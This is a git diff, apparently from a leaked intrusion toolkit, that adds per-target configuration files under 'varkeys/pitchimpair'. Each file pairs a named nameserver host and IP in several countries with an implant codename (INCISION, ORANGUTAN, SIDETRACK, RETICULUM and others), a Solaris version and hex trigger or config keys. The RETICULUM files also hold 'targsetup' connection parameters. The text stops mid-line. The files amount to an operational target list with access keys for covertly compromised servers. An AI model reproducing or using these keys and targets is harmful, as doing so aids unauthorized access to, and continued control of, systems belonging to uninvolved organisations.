b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.kimm.re.kr___203.241.84.10___20040219-112228() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="1f9527ad 68b0d84c 03855ee3" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/orangutan b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/orangutan new file mode 100644 index 0000000..04a1972 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.kimm.re.kr___203.241.84.10___20040219-112228() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="f81ae5ab 89e583f0 f303c89d" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/sidetrack b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/sidetrack new file mode 100644 index 0000000..7cd9e7d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.kimm.re.kr___203.241.84.10___20040219-112228() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="4ea0875d 1aa9c04d a2679d14 1a854450" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/incision b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/incision new file mode 100644 index 0000000..86afae5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.kix.ne.kr___202.30.94.10___20020607-104147() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a4c76aa5 fdf20deb 87fd54df" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/orangutan b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/orangutan new file mode 100644 index 0000000..955ec73 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.kix.ne.kr___202.30.94.10___20020607-104147() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="f3ebdc78 a8c27eb2 aa630ab5" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/reticulum b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/reticulum new file mode 100644 index 0000000..accf043 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.kix.ne.kr___202.30.94.10/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___ns.kix.ne.kr___202.30.94.10___20020607-104147() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns.kix.ne.kr + set ip 202.30.94.10 + set hostType "Solaris26" + set len 476 + set cv0 ad6d4e30 + set cv1 4777dfa7 + set cv2 fb77a35b + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/dewdrop new file mode 100644 index 0000000..1cc7c6c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20070823-131055() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/incision b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/incision new file mode 100644 index 0000000..548f0c7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="90513cb5 a3bbe85d 54c070a2" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/orangutan new file mode 100644 index 0000000..e6c2cda --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="3718f379 6d154319 55145385" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/patchicillin new file mode 100644 index 0000000..9e4a7fe --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="2edb0e06 e7fc8749 07cf33e5" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/sidetrack b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/sidetrack new file mode 100644 index 0000000..97c5302 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20050524-231351() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="680ee562 9eacba09 0a85be0b 3a0d3eca" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/stoicsurgeon new file mode 100644 index 0000000..c4d78a2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.rtn.net.mx___204.153.24.1/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.rtn.net.mx___204.153.24.1___20070823-131055() { + ## STOICSURGEON Version:STOICSURGEON v1.1.27.4 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/incision b/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/incision new file mode 100644 index 0000000..63df08b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___ns.stacken.kth.se___130.237.234.17___20031106-172718() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a86ee269 1fe0972b cfe3b1f7" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/orangutan b/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/orangutan new file mode 100644 index 0000000..664b854 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.stacken.kth.se___130.237.234.17/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.stacken.kth.se___130.237.234.17___20031106-172718() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="71ef553c a4f71b29 b09ca289" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/incision b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/incision new file mode 100644 index 0000000..b6534ee --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.unam.mx___132.248.253.1___20021202-145306() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="243d1ce0 2618f2e0 3f287db4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/jackladder b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/jackladder new file mode 100644 index 0000000..a80858f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR_MX___ns.unam.mx.unam.mx___132.248.253.1___20010914-223135() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/orangutan new file mode 100644 index 0000000..d87535a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.unam.mx___132.248.253.1___20021202-145306() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="27c70941 a1ff9ec8 201c6c17" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/reticulum b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/reticulum new file mode 100644 index 0000000..7ac9f72 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.unam.mx___132.248.253.1/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___132.248.253.1.ns___unam.mx___20021202-144848() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host 132.248.253.1.ns + set ip unam.mx + set hostType "Solaris27" + set len 476 + set cv0 32c71323 + set cv1 7c23cf8b + set cv2 37c6e72b + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/dewdrop new file mode 100644 index 0000000..f64f0e4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.univaq.it___192.150.195.20___20060901-153654() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/incision b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/incision new file mode 100644 index 0000000..752c3cf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.univaq.it___192.150.195.20___20030728-130223() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="cf5e8ab3 1ac35359 a181301a" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/orangutan b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/orangutan new file mode 100644 index 0000000..095c19d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.univaq.it___192.150.195.20___20030728-130223() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="cccb8d29 a39e8421 333a2243" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/stoicsurgeon new file mode 100644 index 0000000..ba1cf30 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.univaq.it___192.150.195.20/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.univaq.it___192.150.195.20___20060901-153654() { + ## STOICSURGEON Version: OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/incision b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/incision new file mode 100644 index 0000000..00aaa43 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.youngdong.ac.kr___202.30.58.1___20040607-105509() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="67741d71 ce7681b8 56e94b9e" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/orangutan new file mode 100644 index 0000000..29dc922 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.youngdong.ac.kr___202.30.58.1___20040607-105509() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="913b482f 9692148e a8e787f3" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/reticulum b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/reticulum new file mode 100644 index 0000000..15c73d5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.youngdong.ac.kr___202.30.58.1/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___ns.youngdong.ac.kr___202.30.58.1___20040607-105509() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns.youngdong.ac.kr + set ip 202.30.58.1 + set hostType "Solaris26" + set len 476 + set cv0 4517981f + set cv1 a8364a0b + set cv2 36adc1e2 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/incision b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/incision new file mode 100644 index 0000000..920847d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR_ns1.bangla.net__203.188.252.2__20050323-175921() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="829eb50f d0d18787 aa4d4cf5" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/orangutan new file mode 100644 index 0000000..218a539 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/orangutan @@ -0,0 +1,5 @@ +PITCHIMPAIR___ns1.bangla.net___203.188.252.2___20050323-175921() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="7d08c221 70689c4a a3a6692b" +} + diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/patchicillin new file mode 100644 index 0000000..de9dc4e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bangla.net___203.188.252.2___20050323-175921() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="215db209 91b79625 ae637842" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/reticulum b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/reticulum new file mode 100644 index 0000000..b52d84a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/reticulum @@ -0,0 +1,22 @@ +INTONATION___ns1.bangla.net___203.188.252.2___20011026-140000 { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns1.bangla.net + set ip 203.188.252.2 + set hostType "Solaris26" + set len 476 + set cv0 93ec39f8 + set cv1 9bb3d364 + set cv2 b1d7f8b4 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay + $baduids $timeout $retries ] +} + diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/sidetrack b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/sidetrack new file mode 100644 index 0000000..63dbcc1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bangla.net___203.188.252.2/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bangla.net___203.188.252.2___20050323-175921() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="5476fbfd 851e9757 d7bf995c 8f5e7738" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/incision b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/incision new file mode 100644 index 0000000..523780f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0537ac08 e35c67a7 984865ec" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/orangutan new file mode 100644 index 0000000..425d39e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="89cffe94 1ef01eed abdbb5c6" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/patchicillin new file mode 100644 index 0000000..9918f60 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="dc68a08f de1103b2 25340ef1" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/sidetrack b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/sidetrack new file mode 100644 index 0000000..209e42f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.btc.bw___168.167.168.34/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.btc.bw___168.167.168.34___20041102-175138() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="bcbd263e 985a66a4 0a527453 b82df5a6" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/incision b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/incision new file mode 100644 index 0000000..d9e520f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="c7c079e5 85eee306 294f02c7" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/orangutan new file mode 100644 index 0000000..74ae4ad --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="7e7818db 569d0510 69f7feb4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/patchicillin new file mode 100644 index 0000000..4ce7452 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="3ce28cdc 0f7191d0 52079f44" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/sidetrack b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/sidetrack new file mode 100644 index 0000000..954e209 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.bttc.ru___80.82.162.118/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.bttc.ru___80.82.162.118___20050314-164736() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="e7e1663a 3e2759ce 11b53d5e 28221148" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/dewdrop b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/dewdrop new file mode 100644 index 0000000..0e90b09 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/incision b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/incision new file mode 100644 index 0000000..e320b0e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="a4946d67 4e35eee5 89b17f82" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/jackladder b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/jackladder new file mode 100644 index 0000000..dd8427e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/orangutan new file mode 100644 index 0000000..508924d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="67274128 dc855118 931fa4a0" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/patchicillin new file mode 100644 index 0000000..a8316db --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="8ae8835e 9f19c3a6 1ff95aee" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/sidetrack b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/sidetrack new file mode 100644 index 0000000..3edf633 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.gx.chinamobile.com___211.138.252.30/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.gx.chinamobile.com___211.138.252.30___20060307-112158() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="a90a178a aa23e0c4 e4b46e11 1f7a1c14" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/dewdrop b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/dewdrop new file mode 100644 index 0000000..33173e9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/incision b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/incision new file mode 100644 index 0000000..2547ccc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626() { + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="af7f20bc 3d349a8f 1a132882" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/jackladder b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/jackladder new file mode 100644 index 0000000..bbf8e4f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/orangutan new file mode 100644 index 0000000..eaa8613 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="b825a638 f196bd5a 4a8a380f" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/patchicillin new file mode 100644 index 0000000..efbbee4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.ias.ac.in___203.197.183.66/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.ias.ac.in___203.197.183.66___20060927-151626() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="1a2538d4 9b5e7bbe 94c8ee75" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/incision b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/incision new file mode 100644 index 0000000..beca173 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.starnets.ro___193.226.61.68___20041102-175718() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="204fe963 3c39bcd9 da18f868" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/orangutan new file mode 100644 index 